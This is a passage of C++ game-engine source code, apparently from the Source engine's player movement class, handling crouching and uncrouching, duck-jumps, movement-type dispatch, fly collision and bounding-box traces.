VectorCopy( mv->GetAbsOrigin(), vecNewOrigin );
// Up for uncrouching.
Vector hullSizeNormal = VEC_HULL_MAX_SCALED( player ) - VEC_HULL_MIN_SCALED( player );
Vector hullSizeCrouch = VEC_DUCK_HULL_MAX_SCALED( player ) - VEC_DUCK_HULL_MIN_SCALED( player );
Vector viewDelta = ( hullSizeNormal - hullSizeCrouch );
float flDeltaZ = viewDelta.z;
viewDelta.z *= trace.fraction;
flDeltaZ -= viewDelta.z;
player->RemoveFlag( FL_DUCKING );
player->m_Local.m_bDucked = false;
player->m_Local.m_bDucking = false;
player->m_Local.m_bInDuckJump = false;
player->m_Local.m_flDucktime = 0.0f;
player->m_Local.m_flDuckJumpTime = 0.0f;
player->m_Local.m_flJumpTime = 0.0f;
Vector vecViewOffset = GetPlayerViewOffset( false );
vecViewOffset.z -= flDeltaZ;
player->SetViewOffset( vecViewOffset );
VectorSubtract( vecNewOrigin, viewDelta, vecNewOrigin );
mv->SetAbsOrigin( vecNewOrigin );
// Recategorize position since ducking can change origin
CategorizePosition();
}
//-----------------------------------------------------------------------------
// Purpose: Finish ducking
//-----------------------------------------------------------------------------
void CGameMovement::FinishDuck( void )
{
if ( player->GetFlags() & FL_DUCKING )
return;
player->AddFlag( FL_DUCKING );
player->m_Local.m_bDucked = true;
player->m_Local.m_bDucking = false;
player->SetViewOffset( GetPlayerViewOffset( true ) );
// HACKHACK - Fudge for collision bug - no time to fix this properly
if ( player->GetGroundEntity() != NULL )
{
for ( int i = 0; i < 3; i++ )
{
Vector org = mv->GetAbsOrigin();
org[ i ]-= ( VEC_DUCK_HULL_MIN_SCALED( player )[i] - VEC_HULL_MIN_SCALED( player )[i] );
mv->SetAbsOrigin( org );
}
}
else
{
Vector hullSizeNormal = VEC_HULL_MAX_SCALED( player ) - VEC_HULL_MIN_SCALED( player );
Vector hullSizeCrouch = VEC_DUCK_HULL_MAX_SCALED( player ) - VEC_DUCK_HULL_MIN_SCALED( player );
Vector viewDelta = ( hullSizeNormal - hullSizeCrouch );
Vector out;
VectorAdd( mv->GetAbsOrigin(), viewDelta, out );
mv->SetAbsOrigin( out );
ResetDuckLatched();
}
// See if we are stuck?
FixPlayerCrouchStuck( true );
// Recategorize position since ducking can change origin
CategorizePosition();
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::StartUnDuckJump( void )
{
player->AddFlag( FL_DUCKING );
player->m_Local.m_bDucked = true;
player->m_Local.m_bDucking = false;
player->SetViewOffset( GetPlayerViewOffset( true ) );
Vector hullSizeNormal = VEC_HULL_MAX_SCALED( player ) - VEC_HULL_MIN_SCALED( player );
Vector hullSizeCrouch = VEC_DUCK_HULL_MAX_SCALED( player ) - VEC_DUCK_HULL_MIN_SCALED( player );
Vector viewDelta = ( hullSizeNormal - hullSizeCrouch );
Vector out;
VectorAdd( mv->GetAbsOrigin(), viewDelta, out );
mv->SetAbsOrigin( out );
// See if we are stuck?
FixPlayerCrouchStuck( true );
// Recategorize position since ducking can change origin
CategorizePosition();
}
//
//-----------------------------------------------------------------------------
// Purpose:
// Input : duckFraction -
//-----------------------------------------------------------------------------
void CGameMovement::SetDuckedEyeOffset( float duckFraction )
{
Vector vDuckHullMin = GetPlayerMins( true );
Vector vStandHullMin = GetPlayerMins( false );
float fMore = ( vDuckHullMin.z - vStandHullMin.z );
Vector vecDuckViewOffset = GetPlayerViewOffset( true );
Vector vecStandViewOffset = GetPlayerViewOffset( false );
Vector temp = player->GetViewOffset();
temp.z = ( ( vecDuckViewOffset.z - fMore ) * duckFraction ) +
( vecStandViewOffset.z * ( 1 - duckFraction ) );
player->SetViewOffset( temp );
}
//-----------------------------------------------------------------------------
// Purpose: Crop the speed of the player when ducking and on the ground.
// Input: bInDuck - is the player already ducking
// bInAir - is the player in air
// NOTE: Only crop player speed once.
//-----------------------------------------------------------------------------
void CGameMovement::HandleDuckingSpeedCrop( void )
{
if ( !( m_iSpeedCropped & SPEED_CROPPED_DUCK ) && ( player->GetFlags() & FL_DUCKING ) && ( player->GetGroundEntity() != NULL ) )
{
float frac = 0.33333333f;
mv->m_flForwardMove *= frac;
mv->m_flSideMove *= frac;
mv->m_flUpMove *= frac;
m_iSpeedCropped |= SPEED_CROPPED_DUCK;
}
}
//-----------------------------------------------------------------------------
// Purpose: Check to see if we are in a situation where we can unduck jump.
//-----------------------------------------------------------------------------
bool CGameMovement::CanUnDuckJump( trace_t &trace )
{
// Trace down to the stand position and see if we can stand.
Vector vecEnd( mv->GetAbsOrigin() );
vecEnd.z -= 36.0f; // This will have to change if bounding hull change!
TracePlayerBBox( mv->GetAbsOrigin(), vecEnd, PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, trace );
if ( trace.fraction < 1.0f )
{
// Find the endpoint.
vecEnd.z = mv->GetAbsOrigin().z + ( -36.0f * trace.fraction );
// Test a normal hull.
trace_t traceUp;
bool bWasDucked = player->m_Local.m_bDucked;
player->m_Local.m_bDucked = false;
TracePlayerBBox( vecEnd, vecEnd, PlayerSolidMask(), COLLISION_GROUP_PLAYER_MOVEMENT, traceUp );
player->m_Local.m_bDucked = bWasDucked;
if ( !traceUp.startsolid )
return true;
}
return false;
}
//-----------------------------------------------------------------------------
// Purpose: See if duck button is pressed and do the appropriate things
//-----------------------------------------------------------------------------
void CGameMovement::Duck( void )
{
int buttonsChanged = ( mv->m_nOldButtons ^ mv->m_nButtons ); // These buttons have changed this frame
int buttonsPressed = buttonsChanged & mv->m_nButtons; // The changed ones still down are "pressed"
int buttonsReleased = buttonsChanged & mv->m_nOldButtons; // The changed ones which were previously down are "released"
// Check to see if we are in the air.
bool bInAir = ( player->GetGroundEntity() == NULL );
bool bInDuck = ( player->GetFlags() & FL_DUCKING ) ? true : false;
bool bDuckJump = ( player->m_Local.m_flJumpTime > 0.0f );
bool bDuckJumpTime = ( player->m_Local.m_flDuckJumpTime > 0.0f );
if ( mv->m_nButtons & IN_DUCK )
{
mv->m_nOldButtons |= IN_DUCK;
}
else
{
mv->m_nOldButtons &= ~IN_DUCK;
}
// Handle death.
if ( IsDead() )
return;
// Slow down ducked players.
HandleDuckingSpeedCrop();
// If the player is holding down the duck button, the player is in duck transition, ducking, or duck-jumping.
bool bFirstTimePredicted = true; // Assumes we never rerun commands on the server.
#ifdef CLIENT_DLL
bFirstTimePredicted = prediction->IsFirstTimePredicted();
#endif
// If the player is holding down the duck button, the player is in duck transition, ducking, or duck-jumping.
if ( ( mv->m_nButtons & IN_DUCK ) || player->m_Local.m_bDucking || bInDuck || bDuckJump )
{
// DUCK
if ( ( mv->m_nButtons & IN_DUCK ) || bDuckJump )
{
// XBOX SERVER ONLY
#if !defined(CLIENT_DLL)
if ( IsX360() && buttonsPressed & IN_DUCK )
{
// Hinting logic
if ( player->GetToggledDuckState() && player->m_nNumCrouches < NUM_CROUCH_HINTS )
{
UTIL_HudHintText( player, "#Valve_Hint_Crouch" );
player->m_nNumCrouches++;
}
}
#endif
// Have the duck button pressed, but the player currently isn't in the duck position.
if ( ( buttonsPressed & IN_DUCK ) && !bInDuck && !bDuckJump && !bDuckJumpTime )
{
player->m_Local.m_flDucktime = GAMEMOVEMENT_DUCK_TIME;
player->m_Local.m_bDucking = true;
}
// The player is in duck transition and not duck-jumping.
if ( player->m_Local.m_bDucking && !bDuckJump && !bDuckJumpTime )
{
float flDuckMilliseconds = MAX( 0.0f, GAMEMOVEMENT_DUCK_TIME - ( float )player->m_Local.m_flDucktime );
float flDuckSeconds = flDuckMilliseconds * 0.001f;
// Finish in duck transition when transition time is over, in "duck", in air.
if ( ( flDuckSeconds > TIME_TO_DUCK ) || bInDuck || bInAir )
{
FinishDuck();
}
else
{
// Calc parametric time
float flDuckFraction = SimpleSpline( flDuckSeconds / TIME_TO_DUCK );
SetDuckedEyeOffset( flDuckFraction );
}
}
if ( bDuckJump )
{
// Make the bounding box small immediately.
if ( !bInDuck )
{
StartUnDuckJump();
}
else
{
// Check for a crouch override.
if ( !( mv->m_nButtons & IN_DUCK ) )
{
trace_t trace;
if ( CanUnDuckJump( trace ) )
{
FinishUnDuckJump( trace );
player->m_Local.m_flDuckJumpTime = ( GAMEMOVEMENT_TIME_TO_UNDUCK * ( 1.0f - trace.fraction ) ) + GAMEMOVEMENT_TIME_TO_UNDUCK_INV;
}
}
}
}
}
// UNDUCK (or attempt to...)
else
{
if ( player->m_Local.m_bInDuckJump )
{
// Check for a crouch override.
if ( !( mv->m_nButtons & IN_DUCK ) )
{
trace_t trace;
if ( CanUnDuckJump( trace ) )
{
FinishUnDuckJump( trace );
if ( trace.fraction < 1.0f )
{
player->m_Local.m_flDuckJumpTime = ( GAMEMOVEMENT_TIME_TO_UNDUCK * ( 1.0f - trace.fraction ) ) + GAMEMOVEMENT_TIME_TO_UNDUCK_INV;
}
}
}
else
{
player->m_Local.m_bInDuckJump = false;
}
}
if ( bDuckJumpTime )
return;
// Try to unduck unless automovement is not allowed
// NOTE: When not onground, you can always unduck
if ( player->m_Local.m_bAllowAutoMovement || bInAir || player->m_Local.m_bDucking )
{
// We released the duck button, we aren't in "duck" and we are not in the air - start unduck transition.
if ( ( buttonsReleased & IN_DUCK ) )
{
if ( bInDuck && !bDuckJump )
{
player->m_Local.m_flDucktime = GAMEMOVEMENT_DUCK_TIME;
}
else if ( player->m_Local.m_bDucking && !player->m_Local.m_bDucked )
{
// Invert time if release before fully ducked!!!
float unduckMilliseconds = 1000.0f * TIME_TO_UNDUCK;
float duckMilliseconds = 1000.0f * TIME_TO_DUCK;
float elapsedMilliseconds = GAMEMOVEMENT_DUCK_TIME - player->m_Local.m_flDucktime;
float fracDucked = elapsedMilliseconds / duckMilliseconds;
float remainingUnduckMilliseconds = fracDucked * unduckMilliseconds;
player->m_Local.m_flDucktime = GAMEMOVEMENT_DUCK_TIME - unduckMilliseconds + remainingUnduckMilliseconds;
}
}
// Check to see if we are capable of unducking.
if ( CanUnduck() )
{
// or unducking
if ( ( player->m_Local.m_bDucking || player->m_Local.m_bDucked ) )
{
float flDuckMilliseconds = MAX( 0.0f, GAMEMOVEMENT_DUCK_TIME - (float)player->m_Local.m_flDucktime );
float flDuckSeconds = flDuckMilliseconds * 0.001f;
// Finish ducking immediately if duck time is over or not on ground
if ( flDuckSeconds > TIME_TO_UNDUCK || ( bInAir && !bDuckJump ) )
{
FinishUnDuck();
}
else
{
// Calc parametric time
float flDuckFraction = SimpleSpline( 1.0f - ( flDuckSeconds / TIME_TO_UNDUCK ) );
SetDuckedEyeOffset( flDuckFraction );
player->m_Local.m_bDucking = true;
}
}
}
else
{
// Still under something where we can't unduck, so make sure we reset this timer so
// that we'll unduck once we exit the tunnel, etc.
if ( player->m_Local.m_flDucktime != GAMEMOVEMENT_DUCK_TIME )
{
SetDuckedEyeOffset(1.0f);
player->m_Local.m_flDucktime = GAMEMOVEMENT_DUCK_TIME;
player->m_Local.m_bDucked = true;
player->m_Local.m_bDucking = false;
player->AddFlag( FL_DUCKING );
}
}
}
}
}
// HACK: (jimd 5/25/2006) we have a reoccuring bug (#50063 in Tracker) where the player's
// view height gets left at the ducked height while the player is standing, but we haven't
// been able to repro it to find the cause. It may be fixed now due to a change I'm
// also making in UpdateDuckJumpEyeOffset but just in case, this code will sense the
// problem and restore the eye to the proper position. It doesn't smooth the transition,
// but it is preferable to leaving the player's view too low.
//
// If the player is still alive and not an observer, check to make sure that
// his view height is at the standing height.
else if ( bFirstTimePredicted && !IsDead() && !player->IsObserver() && !player->IsInAVehicle() )
{
float flOffsetDelta = player->GetViewOffset().z - GetPlayerViewOffset( false ).z;
if ( ( player->m_Local.m_flDuckJumpTime == 0.0f ) && ( fabs( flOffsetDelta ) > 0.1 ) )
{
// we should rarely ever get here, so assert so a coder knows when it happens
Assert(0);
DevMsg( 1, "Restoring player view height\n" );
// set the eye height to the non-ducked height
SetDuckedEyeOffset(0.0f);
}
}
}
static ConVar sv_optimizedmovement( "sv_optimizedmovement", "1", FCVAR_REPLICATED | FCVAR_DEVELOPMENTONLY );
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::PlayerMove( void )
{
VPROF( "CGameMovement::PlayerMove" );
CheckParameters();
// clear output applied velocity
mv->m_outWishVel.Init();
mv->m_outJumpVel.Init();
MoveHelper( )->ResetTouchList(); // Assume we don't touch anything
ReduceTimers();
AngleVectors (mv->m_vecViewAngles, &m_vecForward, &m_vecRight, &m_vecUp ); // Determine movement angles
// Always try and unstick us unless we are using a couple of the movement modes
if ( player->GetMoveType() != MOVETYPE_NOCLIP &&
player->GetMoveType() != MOVETYPE_NONE &&
player->GetMoveType() != MOVETYPE_ISOMETRIC &&
player->GetMoveType() != MOVETYPE_OBSERVER &&
!player->pl.deadflag )
{
if ( CheckInterval( STUCK ) )
{
if ( CheckStuck() )
{
// Can't move, we're stuck
return;
}
}
}
// Now that we are "unstuck", see where we are (player->GetWaterLevel() and type, player->GetGroundEntity()).
if ( player->GetMoveType() != MOVETYPE_WALK ||
mv->m_bGameCodeMovedPlayer ||
!sv_optimizedmovement.GetBool() )
{
CategorizePosition();
}
else
{
if ( mv->m_vecVelocity.z > 250.0f )
{
SetGroundEntity( NULL );
}
}
// Store off the starting water level
m_nOldWaterLevel = player->GetWaterLevel();
// If we are not on ground, store off how fast we are moving down
if ( player->GetGroundEntity() == NULL )
{
player->m_Local.m_flFallVelocity = -mv->m_vecVelocity[ 2 ];
}
m_nOnLadder = 0;
player->UpdateStepSound( player->m_pSurfaceData, mv->GetAbsOrigin(), mv->m_vecVelocity );
UpdateDuckJumpEyeOffset();
Duck();
// Don't run ladder code if dead on on a train
if ( !player->pl.deadflag && !(player->GetFlags() & FL_ONTRAIN) )
{
// If was not on a ladder now, but was on one before,
// get off of the ladder
// TODO: this causes lots of weirdness.
//bool bCheckLadder = CheckInterval( LADDER );
//if ( bCheckLadder || player->GetMoveType() == MOVETYPE_LADDER )
{
if ( !LadderMove() &&
( player->GetMoveType() == MOVETYPE_LADDER ) )
{
// Clear ladder stuff unless player is dead or riding a train
// It will be reset immediately again next frame if necessary
player->SetMoveType( MOVETYPE_WALK );
player->SetMoveCollide( MOVECOLLIDE_DEFAULT );
}
}
}
#if 0
Msg("%i, %i, %s, player = %8x, move type = %2i, ground entity = %8x, velocity = (%f %f %f)\n",
player->CurrentCommandNumber(),
player->m_nTickBase,
player->IsServer() ? "SERVER" : "CLIENT",
player,
player->GetMoveType(),
player->GetGroundEntity(),
mv->m_vecVelocity[0], mv->m_vecVelocity[1], mv->m_vecVelocity[2]);
#endif
// Handle movement modes.
switch (player->GetMoveType())
{
case MOVETYPE_NONE:
break;
case MOVETYPE_NOCLIP:
FullNoClipMove( sv_noclipspeed.GetFloat(), sv_noclipaccelerate.GetFloat() );
break;
case MOVETYPE_FLY:
case MOVETYPE_FLYGRAVITY:
FullTossMove();
break;
case MOVETYPE_LADDER:
FullLadderMove();
break;
case MOVETYPE_WALK:
FullWalkMove();
break;
case MOVETYPE_ISOMETRIC:
//IsometricMove();
// Could also try: FullTossMove();
FullWalkMove();
break;
case MOVETYPE_OBSERVER:
FullObserverMove(); // clips against world&players
break;
default:
DevMsg( 1, "Bogus pmove player movetype %i on (%i) 0=cl 1=sv\n", player->GetMoveType(), player->IsServer());
break;
}
}
//-----------------------------------------------------------------------------
// Performs the collision resolution for fliers.
//-----------------------------------------------------------------------------
void CGameMovement::PerformFlyCollisionResolution( trace_t &pm, Vector &move )
{
Vector base;
float vel;
float backoff;
switch (player->GetMoveCollide())
{
case MOVECOLLIDE_FLY_CUSTOM:
// Do nothing; the velocity should have been modified by touch
// FIXME: It seems wrong for touch to modify velocity
// given that it can be called in a number of places
// where collision resolution do *not* in fact occur
// Should this ever occur for players!?
Assert(0);
break;
case MOVECOLLIDE_FLY_BOUNCE:
case MOVECOLLIDE_DEFAULT:
{
if (player->GetMoveCollide() == MOVECOLLIDE_FLY_BOUNCE)
backoff = 2.0 - player->m_surfaceFriction;
else
backoff = 1;
ClipVelocity (mv->m_vecVelocity, pm.plane.normal, mv->m_vecVelocity, backoff);
}
break;
default:
// Invalid collide type!
Assert(0);
break;
}
// stop if on ground
if (pm.plane.normal[2] > 0.7)
{
base.Init();
if (mv->m_vecVelocity[2] < GetCurrentGravity() * gpGlobals->frametime)
{
// we're rolling on the ground, add static friction.
SetGroundEntity( &pm );
mv->m_vecVelocity[2] = 0;
}
vel = DotProduct( mv->m_vecVelocity, mv->m_vecVelocity );
// Con_DPrintf("%f %f: %.0f %.0f %.0f\n", vel, trace.fraction, ent->velocity[0], ent->velocity[1], ent->velocity[2] );
if (vel < (30 * 30) || (player->GetMoveCollide() != MOVECOLLIDE_FLY_BOUNCE))
{
SetGroundEntity( &pm );
mv->m_vecVelocity.Init();
}
else
{
VectorScale (mv->m_vecVelocity, (1.0 - pm.fraction) * gpGlobals->frametime * 0.9, move);
PushEntity( move, &pm );
}
VectorSubtract( mv->m_vecVelocity, base, mv->m_vecVelocity );
}
}
//-----------------------------------------------------------------------------
// Purpose:
//-----------------------------------------------------------------------------
void CGameMovement::FullTossMove( void )
{
trace_t pm;
Vector move;
CheckWater();
// add velocity if player is moving
if ( (mv->m_flForwardMove != 0.0f) || (mv->m_flSideMove != 0.0f) || (mv->m_flUpMove != 0.0f))
{
Vector forward, right, up;
float fmove, smove;
Vector wishdir, wishvel;
float wishspeed;
int i;
AngleVectors (mv->m_vecViewAngles, &forward, &right, &up); // Determine movement angles
// Copy movement amounts
fmove = mv->m_flForwardMove;
smove = mv->m_flSideMove;
VectorNormalize (forward); // Normalize remainder of vectors.
VectorNormalize (right); //
for (i=0 ; i<3 ; i++) // Determine x and y parts of velocity
wishvel[i] = forward[i]*fmove + right[i]*smove;
wishvel[2] += mv->m_flUpMove;
VectorCopy (wishvel, wishdir); // Determine maginitude of speed of move
wishspeed = VectorNormalize(wishdir);
//
// Clamp to server defined max speed
//
if (wishspeed > mv->m_flMaxSpeed)
{
VectorScale (wishvel, mv->m_flMaxSpeed/wishspeed, wishvel);
wishspeed = mv->m_flMaxSpeed;
}
// Set pmove velocity
Accelerate ( wishdir, wishspeed, sv_accelerate.GetFloat() );
}
if ( mv->m_vecVelocity[2] > 0 )
{
SetGroundEntity( NULL );
}
// If on ground and not moving, return.
if ( player->GetGroundEntity() != NULL )
{
if (VectorCompare(player->GetBaseVelocity(), vec3_origin) &&
VectorCompare(mv->m_vecVelocity, vec3_origin))
return;
}
CheckVelocity();
// add gravity
if ( player->GetMoveType() == MOVETYPE_FLYGRAVITY )
{
AddGravity();
}
// move origin
// Base velocity is not properly accounted for since this entity will move again after the bounce without
// taking it into account
VectorAdd (mv->m_vecVelocity, player->GetBaseVelocity(), mv->m_vecVelocity);
CheckVelocity();
VectorScale (mv->m_vecVelocity, gpGlobals->frametime, move);
VectorSubtract (mv->m_vecVelocity, player->GetBaseVelocity(), mv->m_vecVelocity);
PushEntity( move, &pm ); // Should this clear basevelocity
CheckVelocity();
if (pm.allsolid)
{
// entity is trapped in another solid
SetGroundEntity( &pm );
mv->m_vecVelocity.Init();
return;
}
if (pm.fraction != 1)
{
PerformFlyCollisionResolution( pm, move );
}
// check for in water
CheckWater();
}
//-----------------------------------------------------------------------------
// Purpose: TF2 commander mode movement logic
//-----------------------------------------------------------------------------
#pragma warning (disable : 4701)
void CGameMovement::IsometricMove( void )
{
int i;
Vector wishvel;
float fmove, smove;
Vector forward, right, up;
AngleVectors (mv->m_vecViewAngles, &forward, &right, &up); // Determine movement angles
// Copy movement amounts
fmove = mv->m_flForwardMove;
smove = mv->m_flSideMove;
// No up / down movement
forward[2] = 0;
right[2] = 0;
VectorNormalize (forward); // Normalize remainder of vectors
VectorNormalize (right); //
for (i=0 ; i<3 ; i++) // Determine x and y parts of velocity
wishvel[i] = forward[i]*fmove + right[i]*smove;
//wishvel[2] += mv->m_flUpMove;
Vector out;
VectorMA (mv->GetAbsOrigin(), gpGlobals->frametime, wishvel, out );
mv->SetAbsOrigin( out );
// Zero out the velocity so that we don't accumulate a huge downward velocity from
// gravity, etc.
mv->m_vecVelocity.Init();
}
#pragma warning (default : 4701)
bool CGameMovement::GameHasLadders() const
{
return true;
}
//-----------------------------------------------------------------------------
// Purpose: Traces player movement + position
//-----------------------------------------------------------------------------
void CGameMovement::TracePlayerBBox( const Vector& start, const Vector& end, unsigned int fMask, int collisionGroup, trace_t& pm )
{
VPROF( "CGameMovement::TracePlayerBBox" );
Ray_t ray;
ray.Init( start, end, GetPlayerMins(), GetPlayerMaxs() );
UTIL_TraceRay( ray, fMask, mv->m_nPlayerHandle.Get(), collisionGroup, &pm );
}
//-----------------------------------------------------------------------------
// Purpose: overridded by game classes to limit results (to standable objects for example)
//-----------------------------------------------------------------------------
void CGameMovement::TryTouchGround( const Vector& start, const Vector& end, const Vector& mins, const Vector& maxs, unsigned int fMask, int collisionGroup, trace_t& pm )
{
VPROF( "CGameMovement::TryTouchGround" );
Ray_t ray;
ray.Init( start, end, mins, maxs );
UTIL_TraceRay( ray, fMask, mv->m_nPlayerHandle.Get(), collisionGroup, &pm );
}